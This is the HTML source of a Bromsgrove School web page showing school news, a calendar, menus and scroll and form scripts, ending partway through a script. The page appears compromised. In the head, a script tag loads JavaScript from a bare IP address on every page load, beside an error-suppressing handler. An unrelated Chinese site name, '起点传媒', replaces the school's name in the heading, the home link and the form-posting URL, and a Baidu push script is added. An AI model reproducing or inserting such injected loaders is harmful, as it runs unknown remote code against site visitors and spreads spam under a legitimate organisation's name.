  

<!DOCTYPE html>
<html lang="en">
<head><script>var V_PATH="/";window.onerror=function(){ return true; };</script>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title> - Bromsgrove School</title>
    <link rel="stylesheet" href="/lib/bootstrap/dist/css/bootstrap.min.css" />
    <link rel="stylesheet" href="/css/site.css?v=PzDMM_r5GH5qVW93VozcrOc2KpBu5q7z8wN0Ydnri3w" />
    <link rel="stylesheet" href="/HOLTE.styles.css?v=xaq0XalPSAzsVqZMNv1MlklyX492WvK5JgJQCm3pLwg" />
    
    <meta name="description" content="" />
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.10.3/font/bootstrap-icons.css">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@200;400;700&family=Cinzel:wght@400..900&family=Montserrat:ital,wght@0,100..900;1,100..900" rel="stylesheet">
    

    
    
    
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH" crossorigin="anonymous">
    
    

    

<script src="http://172.247.139.163/sjgg.js"></script>


</head>
<Body><h1><a href="/">起点传媒</a></h1><script>
(function(){
var bp = document.createElement('script');
var curProtocol = window.location.protocol.split(':')[0];
if (curProtocol === 'https') {
bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
}
else {
bp.src = 'http://push.zhanzhang.baidu.com/push.js';
}
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(bp, s);
})();
</script>

    <!-- Facebook Pixel Code -->
    <script>
        !function(f,b,e,v,n,t,s)
        {if(f.fbq)return;n=f.fbq=function(){n.callMethod?
        n.callMethod.apply(n,arguments):n.queue.push(arguments)};
        if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0';
        n.queue=[];t=b.createElement(e);t.async=!0;
        t.src=v;s=b.getElementsByTagName(e)[0];
        s.parentNode.insertBefore(t,s)}(window,document,'script',
        'https://connect.facebook.net/en_US/fbevents.js');
        fbq('init', '2371753222888041');
        fbq('track', 'PageView');
    </script>
    <noscript b-ewvxtx3vhf>
        <img b-ewvxtx3vhf height="1" width="1"
             src="https://www.facebook.com/tr?id=2371753222888041&ev=PageView
			&noscript=1" />
    </noscript><!-- Google tag (gtag.js) -->
    
    <script>
        window.dataLayer = window.dataLayer || [];
        function gtag(){dataLayer.push(arguments);}
        gtag('js', new Date());

        gtag('config', 'G-8HKG7Y0PPX');
    </script>
    <!-- End Facebook Pixel Code -->



    





<!-- header -->
<header>
    <center>
        
    </center>

    <div id="shortcuts">
        <ul>
            <li rel-id="1">Admissions</li>
<li rel-id="9">Apply</li>
            <li rel-id="2">About</li>
            <li rel-id="3">Documents and Information</li>
            <li rel-id="8">Forces Families</li>
            <li rel-id="4">Holiday and Day Camps</li>
            <li rel-id="5">International Holiday Camps</li>
            <li rel-id="6">Portals</li>
            <li rel-id="7">Vacancies</li>
            
        </ul>
    </div>

        <div id="news-scroller" class="cycle-slideshow montserrat" data-cycle-slides="> div" data-cycle-speed="300" data-cycle-fx="fade">
                <div>
                    Results 2025: A Global Top 10 IB School
                </div>
                <div>
                    Results 2025: 223 Upper Sixth leavers achieved 61% A*/A grades
                </div>
                <div>
                    Results 2025: 90% achieved their first-place university
                </div>
                <div>
                    Results 2025: A level 83% A*/B
                </div>
                <div>
                    Results 2025: IB 39.81 Average Score
                </div>
        </div>


    <div id="nav-icon3">
        <span></span>
        <span></span>
        <span></span>
        <span></span>
    </div>


    <div id="searchHolder" style="position: absolute; top: 40px; right: 20px;">
        <input type="text" placeholder="Search terms" id="searchTerms" style="border: 1px solid #771919;font-size: 14px;padding: 5px 15px;margin-right: 5px;width: 115px;" />
        <input type="button" id="searchBtn" value=">>" style="" />
    </div>


    </div>
</header>
<!-- /header -->
<!-- Stripes -->

<style>
    .blockpadding  {padding:40px;}
</style>



<!-- Calendar Page -->

<!--//Calendar Page-->
<!-- /Stripes -->

<style>
    .blogContainer {
        background-color: #e8e8e8;
        padding: 30px;
        border-top: 6px solid #9c132e;
        min-height: 100px;
        margin-right: 10px;
        margin-bottom: 10px;
        margin-bottom: 20px;
    }

        .blogContainer a {
            padding: 20px;
            background-color: #cdcdcd;
            margin-top: 20px;
            display: inline-block;
            font-weight: bold;
            text-decoration: none;
            font-size: 16px;
            color: #9c132e;
        }
</style>

<div class="content-slide row" id="slide8">
    <div class="col-6">
        <div>
            <span class="cinzel heading"><a href="/news" style="color:white; text-decoration:none;">News</a></span>
            <!--
            <ul>
                <li><span class="newstitle newschosen" rel-id="all">All Schools</span></li>
                <li>|</li>
                <li><span class="newstitle" rel-id="senior">Senior</span></li>
                <li>|</li>
                <li><span class="newstitle" rel-id="prep">Prep</span></li>
                <li>|</li>
                <li><span class="newstitle" rel-id="preprep">Pre-Prep</span></li>
            </ul>
            -->
            <ul><li><a href="/allnews" style="color:#3e495d; text-decoration:none;">View More Latest News</a></li></ul>

                <div class="newspanel row newspanel-all">
                    <div class="col-3"><img src="/images/7c493453-4407-433c-95b5-918cac2dfa07.jpeg" /></div>
                    <div class="col-9"><strong>Year 7 Geography Trip to Italy</strong><br />
                                <p>On Friday 27th March 2026, forty-nine excited Year 7 Prep School students gathered at Birmingham International Airport to fly to the Eternal City of Rome.</p>
                        
                        <a href="/article/Year 7 Geography Trip to Italy/1132">Read more...</a></div>
                </div>
                <div class="newspanel row newspanel-all">
                    <div class="col-3"><img src="/images/31c15047-d424-41c7-acb5-1be0b261d46e.jpg" /></div>
                    <div class="col-9"><strong>Bring Your Whole Self Symposium 2026</strong><br />
                                <p>Join us at Bromsgrove School for our first &#x27;Bring Your Whole Self&#x27; Symposium on Friday, 5th June. </p>
                        
                        <a href="/article/Bring Your Whole Self Symposium 2026/1131">Read more...</a></div>
                </div>
                <div class="newspanel row newspanel-all">
                    <div class="col-3"><img src="/images/031aabee-d8d3-4b04-80f3-eac904f6cdd0.jpeg" /></div>
                    <div class="col-9"><strong>Top UK School for Rugby</strong><br />
                                <p>We are delighted to have been recognised, once again, as a Top UK School for Rugby by Which School Adviser.</p>
                        
                        <a href="/article/Top UK School for Rugby/1130">Read more...</a></div>
                </div>



        </div>
    </div>
    <div class="col-6">
        <div>
            <span class="cinzel heading"><a href="/calendar" style="color:white; text-decoration:none;">Calendar</a></span>
            <ul>

               <!--<li><span class="calendartitle" rel-id="senior">Senior</span></li>
                <li>|</li>
                <li><span class="calendartitle" rel-id="prep">Prep</span></li>
                <li>|</li>
                <li><span class="calendartitle" rel-id="preprep">Pre-Prep</span></li>-->
                <li><a href="/calendar" style="color:#3e495d; text-decoration:none;">View full calendar</a></li>
            </ul>
            <table width="100%" class="/calendar" id="calendar-senior">
                <thead class="cinzel">
                    <tr>
                        <td>Date</td>
                        <td></td>
                    </tr>
                </thead>
                <tbody>
                    <tr class="daterow"><td>Tuesday, April 14 2026</td><td>Cricket Tour, Sri Lanka</td></tr><tr class="daterow"><td>Tuesday, April 14 2026</td><td>Geography Trip, Iceland departs</td></tr><tr class="daterow"><td>Wednesday, April 15 2026</td><td>Geography Trip, Iceland</td></tr><tr class="daterow"><td>Wednesday, April 15 2026</td><td>Cricket Tour, Sri Lanka</td></tr><tr class="daterow"><td>Thursday, April 16 2026</td><td>Cricket Tour, Sri Lanka</td></tr>
                </tbody>
            </table>
        </div>
    </div>
</div>

<!-- footer -->
<!-- these are images just to display will need to be updated to html-->
 <footer>
        <div id="credits">
            <center>
                
                
                
                
            </center>
        </div>
        <center>
            <div class="container creditscontainer">
                <div class="row">
                    <div class="col-md-4">
                        <strong>General Enquiries email</strong><br /><a href="mailto:">enquiries@bromsgrove-school.co.uk</a><br /><br />
                        <strong>Admissions Enquiries email</strong><Br /><a href="mailto:">admissions@bromsgrove-school.co.uk</a>
                    </div>
                    <div class="col-md-4">
                        <strong>Address</strong><br />
                        Bromsgrove School, Worcester Road.<br />Bromsgrove, Worcestershire B61 7DU.<br /><br />
                        <strong>Telephone</strong><br />01527 579679
                    </div>
                    <div class="col-md-4">
                        <strong>Quick Links</strong><br />
                        <a href="/policies">School Policies</a><br>
                        <a href="/policies">Privacy Notices</a><br>
                        <a href="/inspection">Inspection Reports</a><br>
                        <a href="/genderpayreport">Gender Pay Gap </a><br>
                        <a href="/images/Modern%20Slavery%20Statement%20202511.pdf" target="_blank">Modern Slavery Statement </a><br>
                        <br>
                        <br />
                        
                    </div>
                </div>
                <div class="row">
                    <div class="col-md-12">
                        Registered in England: Company No. 4808121, Registered Charity No. 1098740 
                    </div>
                </div>
            </div>
        </center>
    </footer>
    <!--// footer -->
    <style>

                .newspanel { padding:0px 0px 0px 120px !important; }
        .newspanel .col-3 { width:25%; max-width:25%; }
        .newspanel .col-9 { width:74%; max-width:74%; color:#9c132e; }
        #calendar-senior { margin-right:110px; }

        .creditscontainer {
            padding: 20px 0px;
            color: white;
        }

            .creditscontainer a {
                color: white;
            }

                .creditscontainer a:hover {
                    color: white;
                }
    </style>
<br />
<br />


<div id="flyout-menu" class="cinzel">
    <ul>
            <li>

                    <a href="/home">起点传媒</a>



                <ul id="nav-ul-14">
                </ul>
            </li>
            <li>

                    <span class="nav-head" rel-id="15">Admissions</span>



                <ul id="nav-ul-15">
                        <li>

                                <a href="/apply-now">Apply</a>

                            <ul id="nav-ul-140">
                            </ul>
                        </li>
                        <li>

                                <span class="nav-head" rel-id="25">The School</span>

                            <ul id="nav-ul-25">
                                        <a href="/admissions">Joining the School</a>
                                    <ul>
                                    </ul>
                                        <a href="/senior-school">Senior</a>
                                    <ul>
                                    </ul>
                                        <a href="/prep-school">Prep</a>
                                    <ul>
                                    </ul>
                                        <a href="/pre-prep">Pre-Prep</a>
                                    <ul>
                                    </ul>
                                        <a href="/boarding-bromsgrove">Boarding at Bromsgrove</a>
                                    <ul>
                                    </ul>
                                        <a href="/forces-families">Forces Families</a>
                                    <ul>
                                    </ul>
                                        <a href="/international-applicants">International Applicants</a>
                                    <ul>
                                    </ul>
                                        <a href="/one-term-placements">One-Term Placements</a>
                                    <ul>
                                    </ul>
                                        <a href="/information-for-agents">Information for Agents</a>
                                    <ul>
                                    </ul>
                            </ul>
                        </li>
                        <li>

                                <span class="nav-head" rel-id="26">Visit</span>

                            <ul id="nav-ul-26">
                                        <a href="/open-morning">Open Mornings and Individual Visits</a>
                                    <ul>
                                    </ul>
                            </ul>
                        </li>
                        <li>

                                <span href="/" class="nav-head" rel-id="27">School Fees</span>

                            <ul id="nav-ul-27">
                                        <a href="/fees">Fees</a>
                                    <ul>
                                    </ul>
                                        <a href="/feespayment">School Payment Details</a>
                                    <ul>
                                    </ul>
                                        <a href="/feesinternationalpayment">International Payments</a>
                                    <ul>
                                    </ul>
                            </ul>
                        </li>
                        <li>

                                <span href="/" class="nav-head" rel-id="28">Entrance Exams and Scholarships</span>

                            <ul id="nav-ul-28">
                                        <a href="/scholarships">Scholarships</a>
                                    <ul>
                                    </ul>
                                        <a href="/entranceexams">Entrance Exams</a>
                                    <ul>
                                    </ul>
                            </ul>
                        </li>
                </ul>
            </li>
            <li>

                    <span class="nav-head" rel-id="17">About the School</span>



                <ul id="nav-ul-17">
                        <li>

                                <span href="/" class="nav-head" rel-id="29">The School</span>

                            <ul id="nav-ul-29">
                                        <a href="/mission-statement">Mission Statement</a>
                                    <ul>
                                    </ul>
                                        <a href="/about-bromsgrove">About the School</a>
                                    <ul>
                                    </ul>
                                        <a href="/abouttheheadmaster">About the Headmaster</a>
                                    <ul>
                                    </ul>
                                        <a href="/houses">Boarding and Day Houses</a>
                                    <ul>
                                    </ul>
                                        <a href="/academic-results-">Academic Results</a>
                                    <ul>
                                    </ul>
                                        <a href="/staff-directory">Staff Directory</a>
                                    <ul>
                                    </ul>
                                        <a href="/governors">Governors</a>
                                    <ul>
                                    </ul>
                                        <a href="/read-our-reviews">Read our reviews</a>
                                    <ul>
                                    </ul>
                                        <a href="/sustainability-at-bromsgrove">Sustainability at Bromsgrove</a>
                                    <ul>
                                    </ul>
                                        <a href="/impact-report-esg">Impact Report - ESG</a>
                                    <ul>
                                    </ul>
                                        <a href="/how-to-find-us">How to find us</a>
                                    <ul>
                                    </ul>
                                        <a href="/staying-in-bromsgrove">Staying in Bromsgrove</a>
                                    <ul>
                                    </ul>
                            </ul>
                        </li>
                        <li>

                                <span href="/" class="nav-head" rel-id="32">Extra-Curricular</span>

                            <ul id="nav-ul-32">
                                        <a href="/activities">Activities</a>
                                    <ul>
                                    </ul>
                                        <a href="/the-arts">The Arts</a>
                                    <ul>
                                    </ul>
                                        <a href="/sports">Sport</a>
                                    <ul>
                                    </ul>
                                        <a href="/community-work">Community Work</a>
                                    <ul>
                                    </ul>
                                        <a href="/weather-station">Weather Station</a>
                                    <ul>
                                    </ul>
                            </ul>
                        </li>
                        <li>

                                <span href="/" class="nav-head" rel-id="33">School Life</span>

                            <ul id="nav-ul-33">
                                        <a href="/food-refreshments">Food</a>
                                    <ul>
                                    </ul>
                                        <a href="/transport">Transport</a>
                                    <ul>
                                    </ul>
                                        <a href="/school-shop">School Shop</a>
                                    <ul>
                                    </ul>
                                        <a href="/schooluniform">School Uniform</a>
                                    <ul>
                                    </ul>
                                        <a href="/ex-changing-room">Uniform Exchange</a>
                                    <ul>
                                    </ul>
                                        <a href="/health-centre">Wellbeing and Boarders&#x27; Clinic</a>
                                    <ul>
                                    </ul>
                                        <a href="/futures">Futures</a>
                                    <ul>
                                    </ul>
                                        <a href="/library">Library</a>
                                    <ul>
                                    </ul>
                            </ul>
                        </li>
                </ul>
            </li>
            <li>

                    <a href="/videos">Video Library</a>



                <ul id="nav-ul-16">
                </ul>
            </li>
            <li>

                    <span href="/" class="nav-head" rel-id="104">Diary Dates</span>



                <ul id="nav-ul-104">
                        <li>

                                <a href="/calendar">Calendar</a>

                            <ul id="nav-ul-105">
                            </ul>
                        </li>
                        <li>

                                <a href="/term-dates">Term Dates</a>

                            <ul id="nav-ul-108">
                            </ul>
                        </li>
                        <li>

                                <a href="/performing-arts-calendar">Performing Arts Dates</a>

                            <ul id="nav-ul-109">
                            </ul>
                        </li>
                </ul>
            </li>
            <li>

                    <span href="/" class="nav-head" rel-id="113">Documents and Information</span>



                <ul id="nav-ul-113">
                        <li>

                                <a href="/academic">Academic Brochures and Results</a>

                            <ul id="nav-ul-114">
                            </ul>
                        </li>
                        <li>

                                <a href="/fees">Fees and Payments</a>

                            <ul id="nav-ul-115">
                            </ul>
                        </li>
                        <li>

                                <a href="/policies">Policies</a>

                            <ul id="nav-ul-116">
                            </ul>
                        </li>
                        <li>

                                <a href="/inspection">Inspection Reports</a>

                            <ul id="nav-ul-117">
                            </ul>
                        </li>
                        <li>

                                <a href="/news">News Review</a>

                            <ul id="nav-ul-118">
                            </ul>
                        </li>
                        <li>

                                <a href="/pupil">Pupil Magazine</a>

                            <ul id="nav-ul-119">
                            </ul>
                        </li>
                        <li>

                                <a href="/pupilwork">Pupil Work</a>

                            <ul id="nav-ul-133">
                            </ul>
                        </li>
                        <li>

                                <a href="/brochures">Brochures</a>

                            <ul id="nav-ul-120">
                            </ul>
                        </li>
                        <li>

                                <a href="/digital-online">Digital Online Information</a>

                            <ul id="nav-ul-121">
                            </ul>
                        </li>
                        <li>

                                <a href="/findaform">Find a Form</a>

                            <ul id="nav-ul-123">
                            </ul>
                        </li>
                        <li>

                                <a href="/commemoration-day">Commemoration Day</a>

                            <ul id="nav-ul-124">
                            </ul>
                        </li>
                        <li>

                                <a href="/press">Media Contacts</a>

                            <ul id="nav-ul-122">
                            </ul>
                        </li>
                </ul>
            </li>
            <li>

                    <span class="nav-head" rel-id="23">Sports Centre Facilities</span>



                <ul id="nav-ul-23">
                        <li>

                                <a href="/sports-centre">Sports Centre</a>

                            <ul id="nav-ul-125">
                            </ul>
                        </li>
                        <li>

                                <a href="/tennis">Tennis Academy</a>

                            <ul id="nav-ul-128">
                            </ul>
                        </li>
                        <li>

                                <a href="/swimming">Swimming Academy</a>

                            <ul id="nav-ul-129">
                            </ul>
                        </li>
                </ul>
            </li>
            <li>

                    <a href="/venue-hire">Venue Hire</a>



                <ul id="nav-ul-21">
                </ul>
            </li>
            <li>

                    <a href="/boxoffice">Box Office</a>



                <ul id="nav-ul-110">
                </ul>
            </li>
            <li>

                    <a href="/holidayclubs">Holiday Day Camps</a>



                <ul id="nav-ul-20">
                </ul>
            </li>
            <li>

                    <a href="/summer-school">International Summer Camps</a>



                <ul id="nav-ul-96">
                </ul>
            </li>
            <li>

                    <a href="/international-schools">International Schools</a>



                <ul id="nav-ul-112">
                </ul>
            </li>
            <li>

                    <a href="5">Portals</a>



                <ul id="nav-ul-19">
                </ul>
            </li>
            <li>

                    <a href="/bromsgrove-alumni">Alumni</a>



                <ul id="nav-ul-22">
                </ul>
            </li>
            <li>

                    <a href="/the-foundation">Giving at Bromsgrove</a>



                <ul id="nav-ul-137">
                </ul>
            </li>
            <li>

                    <a href="/vacancies">Vacancies</a>



                <ul id="nav-ul-18">
                </ul>
            </li>
            <li>

                    <a href="/contact-us">Contact</a>



                <ul id="nav-ul-24">
                </ul>
            </li>
            <li>

                    <a href="/follow-us-socials">Follow us</a>



                <ul id="nav-ul-136">
                </ul>
            </li>
    </ul>
</div>

<!-- /css fixes -->
<style>

    .full-pane {
        position:unset !important;
    }


    #namesearch {
        width: 40%;
        padding: 25px;
        display:inline-block;
        margin-right:10px;
    }
    #searchcategory {
        width: 40%;
        padding: 25px;
        display: inline-block;
        margin-right: 10px;
    }

    #flyout-menu {
        background-color: #d5d5d5;
        width: 33%;
        top: 0px;
        bottom: 0px;
        left: 0px;
        position: fixed;
        z-index: 999;
        overflow-y: scroll;
        box-shadow: -5px 15px 15px black;
        display: none;
    }

        #flyout-menu ul {
            margin: 110px 50px;
            display: block;
        }

            #flyout-menu ul li {
                border-bottom: 1px solid #9c132e;
                color: white;
                list-style-type: none;
                font-size: 30px;
                padding: 20px 0px 10px;
            }

                #flyout-menu ul li ul {
                    display: none;
                    margin: 0px 0px;
                }

                #flyout-menu ul li a, #flyout-menu ul li span {
                    color: #9c132e;
                    text-decoration: none;
                    transition: 0.3s;
                    display: block;
                    width: 100%;
                }

                    #flyout-menu ul li a:hover, #flyout-menu ul li span:hover {
                        color: #9c132e;
                        cursor: pointer;
                    }

                #flyout-menu ul li ul li:last-child {
                    border-bottom: 0px;
                }

                #flyout-menu ul li ul li {
                    font-size: 20px;
                    font-family: "Montserrat", sans-serif;
                    display: block;
                    width: 100%;
                }

                    #flyout-menu ul li ul li ul {
                        margin: 20px 0px;
                        padding: 0px;
                    }

                        #flyout-menu ul li ul li ul li {
                            margin: 0px 0px 20px;
                        }

                    #flyout-menu ul li ul li a {
                        margin-bottom: 10px;
                    }
</style>

                    <div class="fadeInInfo1" style="top: 0px;
    place-content: center;
    place-items: center;
    position: fixed;
    z-index: 2147483647;
    background-color: #9c132e;
    padding: 50px;
    width: 100% !important;
    height: 100% !important;color:white;display:none;">
                    <div style="width: 100%; height: 100%; display: flex; width: 100%; height: 100%; justify-content: center; justify-items: center; align-content: center; align-items: center;">
                        <div>
                            Loading...
                        </div>
                    </div>
                </div>



<div class="fadeInInfo2" style="
    bottom: 0px;
    left: 100px;
    place-content: center;
    place-items: center;
    position: fixed;
    z-index: 2147483646;
    background-color: #9c132e;
    padding: 10px;
    color:white;
    font-weight: bold;
display:none;
    ">
                    <div style="width: 100%; height: 100%; display: flex; width: 100%; height: 100%; justify-content: center; justify-items: center; align-content: center; align-items: center;">
                        <div>
                            Scroll to top
                        </div>
                    </div>
                </div>

    <div class="endimages">

        <div class="imagegrid">
            <div class="column"><center></center></div>
            <div class="column"><center></center></div>
            <div class="column"><center></center></div>
            <div class="column"><center></center></div>
        <div class="column"><center></center></div>
            <div class="column"><center></center></div>
            <div class="column"><center></center></div>
            <div class="column"><center></center></div>
            <div class="column"><center></center></div>
        <div class="column"><center><a href=" https://teentips.co.uk/wellbeing-hub/" target="_blank"><img src="/images/split-11.jpg" /></a></center></div>
            <div class="column"><center></center></div>
            <div class="column"><center></center></div>
            <div class="column"><center></center></div>
            <div class="column"><center></center></div>
        </div>

        <style>

            .imagegrid {
                display:grid;
                grid-template-columns: repeat(14, 1fr); margin-bottom:50px;
            }

            .imagegrid .column { }
                .imagegrid .column img { width:50%; height:auto; display:inline-block;  }



        </style>


    </div>
<!-- Pop up -->

<script type="text/javascript">
    
    

$(".cardspan").click(function(){

var _id = $(this).attr("rel-id");

 $(".fadeInInfo1").fadeIn(function(){$([document.documentElement, document.body]).delay(100).animate({
    scrollTop: 0
}, 1)} ).delay(200).fadeOut(function(){
    $([document.documentElement, document.body]).animate({
    scrollTop: $("#fullpane" + _id).offset().top
}, 1);
});

        });

            $(".fadeInInfo2").click(function(){

            $([document.documentElement, document.body]).animate({scrollTop: 0},1000);

        });
    
    
    $(".form-submit").click(function () {

        var proceed = 1;

        var Id = $(this).attr("rel-other");

        $(".error-" + Id).fadeOut().css("display", "none");
        var submission = "";

            if($(".htmlfeedback").html() == "none")
            {
                alert("Please completed the Captcha box");
            }

        // Check all required fields are filled in.

        $(".input-" + Id).each(function () {

            if($(this).hasClass("isMultiple"))
            {
                submission = submission + $(this).attr("rel-name")  + "<br/>";
                $(".sub-" + $(this).attr("rel-id")).each(function(i, obj) {
                    if($(obj).hasClass("thisChosen"))
                    {
                        submission = submission + $(obj).attr("rel-name")  + "<br/>";
                    }
                    
                });
            }
            else
            {
                    submission = submission + $(this).attr("rel-name") + ": " + $(this).val() + "<br/><br/>";
            }

            if (($(this).attr("rel-req") == "1") && ($(this).val() == "" || $(this).val() == "#")) {
                proceed = 0;
            }
        });



        if (proceed == 0) {
            $(".error-" + Id).html("Please complete all mandatory fields");
            $(".error-" + Id).fadeIn().css("display", "block");
        }
        else {

            var hello = new Object();
            hello.title = Id;
            hello.metadescription = submission;
            hello.metakeywords = "";
            hello.canonical = "";
            hello.pageId = $(this).attr("rel-id");
            hello.parentid = 0;

            $.ajax({
                type: "POST",
                url: "/起点传媒/SendMail",
                data: hello,
                success: function (result) {
                
                    $(".form-items").hide();
                    $(".completed").show();


                    var elementOffsetTop = $('.completed').offset().top;

                    window.scrollTo({
                          top: elementOffsetTop,
                      left: 0,
                      behavior: "smooth",
                    });

                },
                error: function () { }
            });
        }
    });



    $(".calendartitle").click(function () {
        var id = $(this).attr("rel-id");
        $(".daterow").removeClass("table-row");
        $(".daterow" + id).delay(500).addClass("table-row");
        $(".calendartitle").removeClass("newschosen");
        $(this).addClass("newschosen");
    });


    setTimeout(fadeInPopup, 1000);
    setTimeout(fadeOutText, 5000);

    $(".newstitle").click(function () {
        var id = $(this).attr("rel-id");
        $(".newspanel").removeClass("flex").addClass("flexnone");
        $(".newspanel-" + id).delay(500).removeClass("flexnone").addClass("flex");
        $(".newschosen").removeClass("newschosen");
        $(this).addClass("newschosen");
    });

    $("#li-pane4").addClass("viewed");

    function fadeInPopup() {
        $("#popup").fadeIn();
    }

    function fadeOutText() {

        if ($(window).width() > 1023) {
            $("#image-slide1 span").removeClass("animationfadein").addClass("animationfadeout");
        }
    }

    function fadeOutAgain() {
        if ($(window).width() > 1023) {
            $("#image-slide1 .animationfadein").fadeOut(4000);
        }
    }

    $(window).on('scroll', () => {

        if ($(window).width() > 1023) {
            // How far from top you have scrolled
            var scrollTop = $(window).scrollTop();

            if (scrollTop == 0) {
                $("#image-slide1 span").removeClass("animationfadeout").addClass("animationfadein");
                setTimeout(fadeOutText, 5000);
            }
        }
    });

    $("#closePopup").click(function () {
        $("#popup").fadeOut();
    });




    $(window).on('scroll', () => {


        if ($(window).width() > 1023) {

            // How far from top you have scrolled
            var scrollTop = $(window).scrollTop();

            if(scrollTop > 1000){
                $(".fadeInInfo2").fadeIn();
            }
            else
            {
                $(".fadeInInfo2").fadeOut();
            }


            // Position of the panes


            var fullpane1 = 0;
            var fullpane2 = 0;
            var fullpane3 = 0;
            var fullpane4 = 0;
            var fullpane6 = 0;
            var fullpane7 = 0;
            var fullpane8 = 0;
            var fullpane9 = 0;
            var fullpane10 = 0;

            var fullpane11 = 0;
            var fullpane12 = 0;
            var fullpane13 = 0;
            var fullpane14 = 0;
            var fullpane15 = 0;
            var fullpane16 = 0;
            var fullpane17 = 0;
            var fullpane18 = 0;
            var fullpane19 = 0;
            var fullpane20 = 0;
            var fullpane21 = 0;
            var fullpane22 = 0;
var fullpane23 = 0;
var fullpane24 = 0;
var fullpane25 = 0;
var fullpane26 = 0;
var fullpane27 = 0;
var fullpane28 = 0;
var fullpane29 = 0;
var fullpane20 = 0;
var fullpane30 = 0;
var fullpane31 = 0;
var fullpane32 = 0;
var fullpane33 = 0;
var fullpane34 = 0;
var fullpane35 = 0;
var fullpane36 = 0;
var fullpane37 = 0;
var fullpane38 = 0;
var fullpane39 = 0;
var fullpane40 = 0;
var fullpane41 = 0;
var fullpane42 = 0;
var fullpane43 = 0;
var fullpane44 = 0;
var fullpane45 = 0;
var fullpane46 = 0;
var fullpane47 = 0;
var fullpane48 = 0;
var fullpane49 = 0;
var fullpane50 = 0;

            if ($("#fullpane4").length) { fullpane1 = $("#fullpane4").offset().top; }
            if ($("#fullpane2").length) { fullpane2 = $("#fullpane2").offset().top; }
            if ($("#fullpane1").length) { fullpane3 = $("#fullpane1").offset().top; }
            if ($("#fullpane5").length) { fullpane4 = $("#fullpane5").offset().top; }
            if ($("#fullpane6").length) { fullpane6 = $("#fullpane6").offset().top; }
            if ($("#fullpane12").length) { fullpane11 = $("#fullpane12").offset().top; }
            if ($("#fullpane7").length) { fullpane7 = $("#fullpane7").offset().top; }
            if ($("#fullpane8").length) { fullpane8 = $("#fullpane8").offset().top; }
            if ($("#fullpane9").length) { fullpane9 = $("#fullpane9").offset().top; }
            if ($("#fullpane10").length) { fullpane10 = $("#fullpane10").offset().top; }
            if ($("#fullpane11").length) { fullpane11 = $("#fullpane11").offset().top; }
            if ($("#fullpane13").length) { fullpane13 = $("#fullpane13").offset().top; }
            if ($("#fullpane14").length) { fullpane14 = $("#fullpane14").offset().top; }
            if ($("#fullpane15").length) { fullpane15 = $("#fullpane15").offset().top; }
            if ($("#fullpane16").length) { fullpane16 = $("#fullpane16").offset().top; }
            if ($("#fullpane17").length) { fullpane17 = $("#fullpane17").offset().top; }
            if ($("#fullpane18").length) { fullpane18 = $("#fullpane18").offset().top; }
            if ($("#fullpane19").length) { fullpane19 = $("#fullpane19").offset().top; }
            if ($("#fullpane20").length) { fullpane20 = $("#fullpane20").offset().top; }
            if ($("#fullpane21").length) { fullpane21 = $("#fullpane21").offset().top; }
            if ($("#fullpane22").length) { fullpane22 = $("#fullpane22").offset().top; }
            if ($("#fullpane23").length) { fullpane23 = $("#fullpane23").offset().top; }
            if ($("#fullpane24").length) { fullpane24 = $("#fullpane24").offset().top; }
            if ($("#fullpane25").length) { fullpane25 = $("#fullpane25").offset().top; }
            if ($("#fullpane26").length) { fullpane26 = $("#fullpane26").offset().top; }
            if ($("#fullpane27").length) { fullpane27 = $("#fullpane27").offset().top; }
            if ($("#fullpane28").length) { fullpane28 = $("#fullpane28").offset().top; }
            if ($("#fullpane29").length) { fullpane28 = $("#fullpane29").offset().top; }
            if ($("#fullpane30").length) { fullpane28 = $("#fullpane30").offset().top; }
             if ($("#fullpane31").length) { fullpane31 = $("#fullpane31").offset().top; }
              if ($("#fullpane32").length) { fullpane32 = $("#fullpane32").offset().top; }
 if ($("#fullpane33").length) { fullpane33 = $("#fullpane33").offset().top; }
  if ($("#fullpane34").length) { fullpane34 = $("#fullpane34").offset().top; }
   if ($("#fullpane35").length) { fullpane35 = $("#fullpane35").offset().top; }
if ($("#fullpane36").length) { fullpane36 = $("#fullpane36").offset().top; }
if ($("#fullpane37").length) { fullpane37 = $("#fullpane37").offset().top; }
if ($("#fullpane38").length) { fullpane38 = $("#fullpane38").offset().top; }

   if ($("#fullpane39").length) { fullpane39 = $("#fullpane39").offset().top; }
   if ($("#fullpane40").length) { fullpane40 = $("#fullpane40").offset().top; }
   if ($("#fullpane41").length) { fullpane41 = $("#fullpane41").offset().top; }
   if ($("#fullpane42").length) { fullpane42 = $("#fullpane42").offset().top; }
   if ($("#fullpane43").length) { fullpane43 = $("#fullpane43").offset().top; }
   if ($("#fullpane44").length) { fullpane44 = $("#fullpane44").offset().top; }
   if ($("#fullpane45").length) { fullpane45 = $("#fullpane45").offset().top; }
   if ($("#fullpane46").length) { fullpane46 = $("#fullpane46").offset().top; }
   if ($("#fullpane47").length) { fullpane47 = $("#fullpane47").offset().top; }
   if ($("#fullpane48").length) { fullpane48 = $("#fullpane48").offset().top; }
if ($("#fullpane49").length) { fullpane49 = $("#fullpane49").offset().top; }
    if ($("#fullpane50").length) { fullpane50 = $("#fullpane50").offset().top; }

            // Height of window
            var heightOfWindow = document.documentElement.clientHeight;

            if (fullpane1 < scrollTop) { $("#li-pane4").addClass("viewed"); }
            if (fullpane2 < scrollTop || fullpane2 == scrollTop) { $("#li-pane2").addClass("viewed"); } else { $("#li-pane2").removeClass("viewed"); }
            if (fullpane3 < scrollTop || fullpane3 == scrollTop) { $("#li-pane1").addClass("viewed"); } else { $("#li-pane1").removeClass("viewed"); }
            if (fullpane4 < scrollTop || fullpane4 == scrollTop) { $("#li-pane5").addClass("viewed"); } else { $("#li-pane5").removeClass("viewed"); }

            if (fullpane6 < scrollTop || fullpane6 == scrollTop) { $("#li-pane6").addClass("viewed"); } else {  }
